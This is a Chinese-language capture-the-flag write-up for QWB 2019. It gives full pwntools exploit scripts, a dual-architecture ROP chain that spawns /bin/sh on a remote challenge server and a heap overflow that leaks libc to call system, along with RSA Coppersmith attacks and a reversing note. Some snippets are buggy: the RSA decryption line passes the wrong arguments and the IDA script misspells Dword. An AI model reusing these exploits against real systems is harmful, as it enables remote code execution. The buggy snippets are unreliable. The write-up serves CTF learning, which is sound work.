强网杯2019

babymimic

拟态防御…惊了

程序提供了两个EFL文件:

32位: https://github.com/Inv0k3r/pwnable_files/raw/master/_stkof

64位: https://github.com/Inv0k3r/pwnable_files/raw/master/__stkof

漏洞点都很明显, 都是简单的栈溢出

32位:

64位:

检查保护, 虽然开了canary, 但是栈溢出的那个函数并没有check, 猜测应该是出题人手动把check nop了

后续测试中, 发现无法leak任何内容, 猜测服务器对返回的内容进行了检测, 由于程序是静态编译的, 所以我们可以尝试构造ROP链来getshell

这里使用ROPGenerator, 生成ROP chain以后, 溢出到返回地址即可getshell

但是打服务器的时候打不下来, 因为服务器用的拟态防御, 我们无法知道交互的是32位程序还是64位程序

当然我们可以通过不断运行两个架构的攻击脚本来尝试爆破, 但是服务器设置了爆破限制, 随机8位的字符, 然后sha256加密, 给出5位,我们需要爆破另外3位, 这样就降低了爆破成功的可能性(我爆了一天没成功

所以我们需要一个payload, 来同时对64和32进行攻击

经过分析可知, 32位程序的返回地址偏移是272, 而64位是280

所以我们可以利用中间这8个字节, 来判断服务器是32位还是64位

32位程序使用4字节作为一个地址, 所以8字节可以让我们写两条gadget

由于无法leak任何地址(带出来数据就会触发服务器的check导致连接关闭), 所以我们不知道栈地址, 没法直接跳转

所以我们可以通过修改栈顶指针寄存器, 来让程序跳转到栈上的另外一个位置

尝试找一下gadget:

可以写add esp 0xc进去, 那么栈顶将被修改到当前栈地址+ 0xc

这样一来, 针对32位程序的payload可以写成:

payload = 272 * 'a' + p32(add_esp_0xc) + 0xc* 'a' + ROP链

其中的0x10字节, 我们可以用来写64位程序的ROP链

我们用ROPGenerator生成的ROP chain:

32位:

64位:

生成的rop链中, 32位的长度为92字节, 64位的长度为112字节

而我们的payload

payload = 272 * 'a' + p32(add_esp_0xc) + 0xc * 'a' + 32位ROP链中, 有8字节可用, 所以我们可以写一个add rsp 0x??; ret的方式来进行跳转, 跳到32位ROP链之后, 找一下64位程序的gadget:

各种长度都有,很舒服

我们32位程序的ROP链, 长度是92字节, 所以我们的64位程序跳转的时候要留给32位ROP链足够空间

这里选择0x68这个gadget

那么payload=272 * 'a' + p32(add_esp_0xc) + 'b' * 4 + p64(add_rsp_0x68) + 92字节的32位程序的ROP + 112字节的64位程序的ROP

后续测试发现ROPGenerator生成的32位ROP链无法getshell…最后换了ROPgadget生成:

ROPgadget --binary "_stkof" --ropchain

长度是136字节, 所以对上面payload进行修改, 64位的gadget需要跳到更远, 所以选择了0xd8这个gadget:

payload=272*'a' + p32(add_esp_0xc) + 'b' * 4 + p64(add_rsp_0xd8) + 136字节的32位程序的ROP + (0xd8 - 136) * 'c' + 112字节的64位程序的ROP

成功getshell:

最终脚本:

import hashlib
from pwn import *
from struct import pack
# context.log_level = 'debug'
def check(hash, string):
dic = '1234567890abcdef'
for i in dic:
for j in dic:
for k in dic:
for l in dic:
for m in dic:
for n in dic:
temp = string + i + j + k + l + m + n
if hash == hashlib.sha256(temp.decode('hex')).hexdigest():
info("Found: " + temp)
return temp

r = remote('49.4.51.149', 25391)
r.recvuntil('hexdigest()=')
hexstr = r.recv(64)
r.recvuntil("encode('hex')=")
s = r.recv(10)
info("hash: " + hexstr)
info("skr: " + s)
r.sendlineafter("skr.encode('hex')=", check(hexstr, s))
r.sendlineafter('teamtoken:', '068c639545a4febbcbcb8c97b494cc21')
r.recvuntil('your flag file --> ')
flag_file_name = r.recv(37)
info("flag file: " + flag_file_name)

# start pwn
off = 0x0
rop64 = ''
rop64 += pack('<Q', 0x000000000043b97c + off) # pop rax; ret
rop64 += pack('<Q', 0x000000000069e138 + off) # Constant: 0x69e138
rop64 += pack('<Q', 0x000000000043d9d5 + off) # pop rdx; ret
rop64 += pack('<Q', 0x0068732f6e69622f) # Constant: 0x68732f6e69622f
rop64 += pack('<Q', 0x000000000043dbc4 + off) # mov qword ptr [rax+0x8], rdx; ret
rop64 += pack('<Q', 0x00000000004005f6 + off) # pop rdi; ret
rop64 += pack('<Q', 0x000000000069e140 + off) # cmd: '/bin/sh\x00'
rop64 += pack('<Q', 0x0000000000405895 + off) # pop rsi; ret
rop64 += pack('<Q', 0x0000000000000000) # argv: 0x0
rop64 += pack('<Q', 0x000000000043b97c + off) # pop rax; ret
rop64 += pack('<Q', 0x0000000000497d37 + off) # Address of ret
rop64 += pack('<Q', 0x000000000040dc33 + off) # xor edx, edx; jmp rax
rop64 += pack('<Q', 0x000000000043b97c + off) # pop rax; ret
rop64 += pack('<Q', 0x000000000000003b) # Constant: 0x3b
rop64 += pack('<Q', 0x00000000004011dc + off) # syscall

rop32 = ''
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '/bin'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9064) # @ .data + 4
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '//sh'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x080481c9) # pop ebx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x0807be5a) # inc eax ; ret
rop32 += pack('<I', 0x080495a3) # int 0x80

add_esp_0xc = 0x080a8f69 # : add esp, 0xc ; ret
add_rsp_0xd8 = 0x00000000004079d4 # : add rsp, 0xd8 ; ret
r.recv()
payload = 'a' * 272 + p32(add_esp_0xc) + 'b' * 4 + p64(add_rsp_0xd8) + rop32 + (0xd8 - len(rop32)) * 'c' + rop64
r.send(payload)
r.interactive()

justre

定位到check函数, 发现很多xmm指令…

调试一下看看结果

前面的部分是确定输入是否在0-9A-F之间, 并把前8个字符转成16进制形式, 第九个字符存入一个变量

输入1A2B3C4D5F6A7B8C9D0E

xmmword_405018 + 0x10 = (0x10 + 0x1A2B3C4D) ^ (0x1010101 * 0x5F + xmmword_405018 + v20)

上面的操作, 经过8轮运算以后, 和96字节的字符比较:

55 8B EC 83 E4 F0 81 EC 78 02 00 00 A1 04 50 40 00 33 C4 89 84 24 74 02 00 00 0F 10 05 A8 41 40 00 A0 C0 41 40 00 56 0F 11 44 24 2C 57 F3 0F 7E 05 B8 41 40 00 66 0F D6 44 24 40 0F 10 41 0A 6A 40 88 44 24 4C 8D 84 24 FC 01 00 00 6A 00 50 0F 11 44 24 1C E8 58 0F 00 00 6A 40 8D 84 24 48 02 

xmmword_405018 = 416214C801120DF0ED93C08B7EB6971B
xmmword_405028 = 41537868F119106CFF3DF4E788CDFF6A
xmmword_405038 = 5B19BFC22CEE54810A6010AF40D2706E
xmmword_405048 = 671C51850A51F4B0B31932734153886F

from struct import Dword
for i in range(100):
b = i * 0x1010101
if Dword(0x404148) ^ ((Dowrd(0x405018) + b) & 0xffffffff) == Dowrd(0x404148 + 4) ^ ((Dowrd(0x405018 + 4) + b) & 0xffffffff) - 1:
print(hex(i), hex(Dowrd(0x404148) ^ ((Dowrd(0x405018) + b) & 0xffffffff)))

得到: 0x10 0x13242298

接下来是DES加密

crypto

[++++++++++++++++]proof completed[++++++++++++++++]
[+]Generating challenge 1
[+]n=0x381c2a94ae89869e563b600b4b9cce988197a565e027fd923bee484664d33f1a10037857ce9e0c49422470536cef963e540ab1bffbd6fe3dfda54ac04fae790c99568fe064a77d57ea17609f45d5d0f984bd4235f54b4c8b069ceac1220e743e0fcd420a5302eda89dc58497e94a01281849c0134c88d543adda2d423c3af7fL
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x1da185826272d2d806f3b8e036fbe2b27320defe9892175f9e18a60c39348fa2b631d386edeb98f37f18e8059360e827cea76363a3e1aaae46aef40ac0c6621576e41ab644c704a9c662c998618c7d48e17542001142d768fce50d778c3555fd3d795a7b23d72c65f6a96fd4e1e438bcca7dc963adf0baf3b135de994662b82L
[+]((m>>72)<<72)=0xfabc61918e517c9bf73b2bf5d91f30a80c19de72a995e1c47de8f9be1bb4006b6dd10a11adb95ce73613e6236aa4e91db6d5c8f07dac16000000000000000000L
[-]long_to_bytes(m).encode('hex')=

e = 3, 给了部分明文, 使用CoppersmithAttack

n=0x381c2a94ae89869e563b600b4b9cce988197a565e027fd923bee484664d33f1a10037857ce9e0c49422470536cef963e540ab1bffbd6fe3dfda54ac04fae790c99568fe064a77d57ea17609f45d5d0f984bd4235f54b4c8b069ceac1220e743e0fcd420a5302eda89dc58497e94a01281849c0134c88d543adda2d423c3af7f
e=3
c=0x1da185826272d2d806f3b8e036fbe2b27320defe9892175f9e18a60c39348fa2b631d386edeb98f37f18e8059360e827cea76363a3e1aaae46aef40ac0c6621576e41ab644c704a9c662c998618c7d48e17542001142d768fce50d778c3555fd3d795a7b23d72c65f6a96fd4e1e438bcca7dc963adf0baf3b135de994662b82
m=0xfabc61918e517c9bf73b2bf5d91f30a80c19de72a995e1c47de8f9be1bb4006b6dd10a11adb95ce73613e6236aa4e91db6d5c8f07dac16000000000000000000

beta = 1
epsilon = beta^2/7

nbits = n.nbits()
kbits = floor(nbits*(beta^2/e-epsilon))
print "upper %d bits (of %d bits) is given" % (nbits-kbits, nbits)
PR.<x> = PolynomialRing(Zmod(n))
f = (m + x) ^ e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0] # find root < 2^kbits with factor = n
print m + x0
print x0

丢到在线网站: https://sagecell.sagemath.org/
得到13132102744876364837010657674093125827216092673699264307134817022461255433729251935499820467653979827420832582244375851850135494237158389876362816492294802
转hex提交

[++++++++++++++++]challenge 1 completed[++++++++++++++++]
[+]Generating challenge 2
[+]n=0x62645f7122276f971d8be2c280c50af2a4d24f64c66d887a63412eca8318139b63d3a208bea26c760f9da2a4a5532193120ef2741863e506ef56f972afbf88072de0626af4a7f119342e524c3467f2a0b593127646a08dd9edeb94772d844847a0e4adbba021ff157a1c41393840d32966ca4b425be64c5cd7be71f15f1c0c0fL
[+]e=65537
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x2ea82d02c8405c04606f471756806a9d17cd0d9bedc636f7d884244745e086dbef806e4cfa440780f93abb33d5d295227df4cca71783f6693a6ea7c7775188f8cd814fadaec1a67087e5b6e1d3f51985243f057f667c663f59fbf638ea745b7aa6f57deff8da242b18086c2e8dba028613f01d100269d3342f0094e9c91eddL
[+]((p>>128)<<128)=0xa19bcc2975554445de9f02e634661d4f6a665336a0af5c6a6f93758a8d23dfec8b258004a431974f371132c3ca7696ef00000000000000000000000000000000L
[-]long_to_bytes(m).encode('hex')=$
n=0x62645f7122276f971d8be2c280c50af2a4d24f64c66d887a63412eca8318139b63d3a208bea26c760f9da2a4a5532193120ef2741863e506ef56f972afbf88072de0626af4a7f119342e524c3467f2a0b593127646a08dd9edeb94772d844847a0e4adbba021ff157a1c41393840d32966ca4b425be64c5cd7be71f15f1c0c0f
p=0xa19bcc2975554445de9f02e634661d4f6a665336a0af5c6a6f93758a8d23dfec8b258004a431974f371132c3ca7696ef00000000000000000000000000000000
c=0x2ea82d02c8405c04606f471756806a9d17cd0d9bedc636f7d884244745e086dbef806e4cfa440780f93abb33d5d295227df4cca71783f6693a6ea7c7775188f8cd814fadaec1a67087e5b6e1d3f51985243f057f667c663f59fbf638ea745b7aa6f57deff8da242b18086c2e8dba028613f01d100269d3342f0094e9c91edd
beta = 0.5
epsilon = beta^2/7
p_fake = p + 0x100000000000000000000000000000000
pbits = p.nbits()
kbits = floor(n.nbits() * (beta^2 - epsilon))
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4
print x0 + pbar

求得p=8464128337073235841306774067889692521235027856600640285732672852346488815451647340168593969676910111879627488847926492818393003168975897246870844426887263
q=n/p=8163069655763991394338137148931618671791210480216681019589422494491872929647892079092083346702116373697540683755495323751341124306366881478618522649358929

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

d=modinv(e,(p-1)*(q-1))

求得d解密

d0579143a455d3b10f0c0e69ce45f26e4b39207ef640afc1bc89a3dd2797fd11990efeeeb3c9beb8780ab9e201c89aca59a82dc82d22a6832f8e12b9ae451612

[++++++++++++++++]challenge 2 completed[++++++++++++++++]
[+]Generating challenge 3
[+]n=0x7792e8692d355b543bd466603bf0d63e9f80c178695c5fdf8781a7718422f3df04de72ad0d8758274108d6e5b9fae9fe548c218589da15e5bcdd3c4d64d881e0ee1437a5280b16d127b85773ee4b662d8c032ccf08bb9cd270cc03e12b8884bc22439ef833cbaffc629f1e5022fd200eb7ae459104b19efa8a1d7dfe5fcb52cdL
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x72920d5cc7aef95112d4800535f2e479a10d4901af657ff06dbc105ef4e9a7bec7fb86e3af7ea3e393d919ba21464f90af9781acad2c2ca8041282c7a0e03267fe62ddf57d7ace68a7f55f8aa1e45f312ea9a1cbbb5cc1a4172aec0ef12b3c853a915573864545ce9c03cb8b50bc1cb241a6221495a9d78e472afda50d9b2174L
[+]d=invmod(e,(p-1)*(q-1))
[+]d&((1<<512)-1)=0xb51c0c25d4b249e9a2c8d3daf342136c05e3c2ab32fea94033e4cb01d553ac0770c32884556eee08d3a61cde383c2caa7ea68fb7367f88a0312e948c4c4ac293L
[-]long_to_bytes(m).encode('hex')=$  
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()

f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)

def find_p(d0, kbits, e, n):
X = var('X')

for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
print "Found"
return p
print "FAILED"
return


if __name__ == '__main__':
n=0x7792e8692d355b543bd466603bf0d63e9f80c178695c5fdf8781a7718422f3df04de72ad0d8758274108d6e5b9fae9fe548c218589da15e5bcdd3c4d64d881e0ee1437a5280b16d127b85773ee4b662d8c032ccf08bb9cd270cc03e12b8884bc22439ef833cbaffc629f1e5022fd200eb7ae459104b19efa8a1d7dfe5fcb52cd
e = 3
d=0xb51c0c25d4b249e9a2c8d3daf342136c05e3c2ab32fea94033e4cb01d553ac0770c32884556eee08d3a61cde383c2caa7ea68fb7367f88a0312e948c4c4ac293
beta = 0.5
epsilon = beta^2/7

nbits = n.nbits()
kbits = floor(nbits*(beta^2+epsilon))
d0 = d & (2^kbits-1)
print "lower %d bits (of %d bits) is given" % (kbits, nbits)

p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
print d
print inverse_mod(e, (p-1)*(q-1))

后面不会了, 鸽了


贴一个Chamd5的wp: https://mp.weixin.qq.com/s/Rcm4qaELX0wl8IULApujuw

签到

flag{welcome_to_qwb_2019}

鲲or鳗orGame

选游戏, js里找到var romPath = "rom/game.gb";

下载下来, 用GameBoy模拟器打开, 金手指启动, 把最高纪录改到0xff即可得到flag:

flag{PS03R49UE576R421RE8}

强网先锋-AD

IDA反编译以后可以看到程序读入了一段字节

动态调试一下, 在内存里dump出来:
0072| 0x7fffffffdc28 —> 0x7fffffffdc60 (“ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==”)

解base64即可:flag{mafakuailaiqiandaob}

强网先锋-辅助

给了两组rsa:

c1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
e = 65537
n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727

c2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470
e = 65537
n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979

题目脚本可知
n1 = p1 q1
n2 = p2
q1

求n1和n2的最大公约数即可分解n, 然后算私钥解密即可:


def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a

q1 = gcd(n1, n2)
p1 = n1 / q1

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

d = modinv(e, (p1-1)*(q1-1))
m = pow(c1, e, d)

flag{i_am_very_sad_233333333333}

强网先锋-AP

修改堆块的时候没检查大小, 导致堆溢出

思路就是先leak libc, 然后用sh和system覆盖堆里的地址然后调用open操作即可

  1. 创建4个ticket
  2. 修改第三个ticket, 越界写到第四个ticket的puts地址那里
  3. 用open操作打印ticket3, 得到puts的地址
  4. 得到libc版本, 找到system地址和/bin/sh地址
  5. 修改第一个ticket, 覆盖到第二个ticket的两个地址
  6. 调用第二个ticket的open, getshell

脚本:

from pwn import *
from LibcSearcher import *

context.log_level='debug'
def get(size, context):
r.sendlineafter("Choice >> \n", '1')
r.sendlineafter("The length of my owner's name:\n", str(size + 1))
r.sendlineafter("Give me my owner's name:\n", context)

def op(index):
r.sendlineafter("Choice >> \n", '2')
r.sendlineafter("Please tell me which tickets would you want to open?\n", str(index))
r.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
return r.recvuntil("\n")[:-1]

def change(index, size, context):
r.sendlineafter("Choice >> \n", '3')
r.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n", str(index))
r.sendlineafter("The length of my owner's name:\n", str(size + 1))
r.sendlineafter("Give me my owner's name:\n", context)

# r = process('./task_main')
r = remote('49.4.66.242', 30351)

get(8, 'a' * 8)
get(8, 'b' * 8)
get(8, 'c' * 8)
get(8, 'd' * 8)

change(2, 40, 'a'*40)

puts_addr = u64(op(2)[40:].ljust(8, '\x00'))

info("_IO_puts: " + hex(puts_addr)) # 0x7f7dba8c4690
# searcher = LibcSearcher("_IO_puts", puts_addr)
# libc_file = searcher.getFileName()

# info("Libc: " + libc_file)

libc = ELF("/home/a/LibcSearcher/libc-database/db/libc6_2.23-0ubuntu10_amd64.so")
libc.address = puts_addr - libc.symbols['_IO_puts']

sh_addr = libc.address + 0x000000000018cd57
system_addr = libc.symbols['system']

info("sh: " + hex(sh_addr))
info("system: " + hex(system_addr))

change(0, 48, 'e' * 32 + p64(sh_addr) + p64(system_addr))
r.sendlineafter("Choice >> \n", '2')
r.sendlineafter("Please tell me which tickets would you want to open?\n", "1")
r.interactive()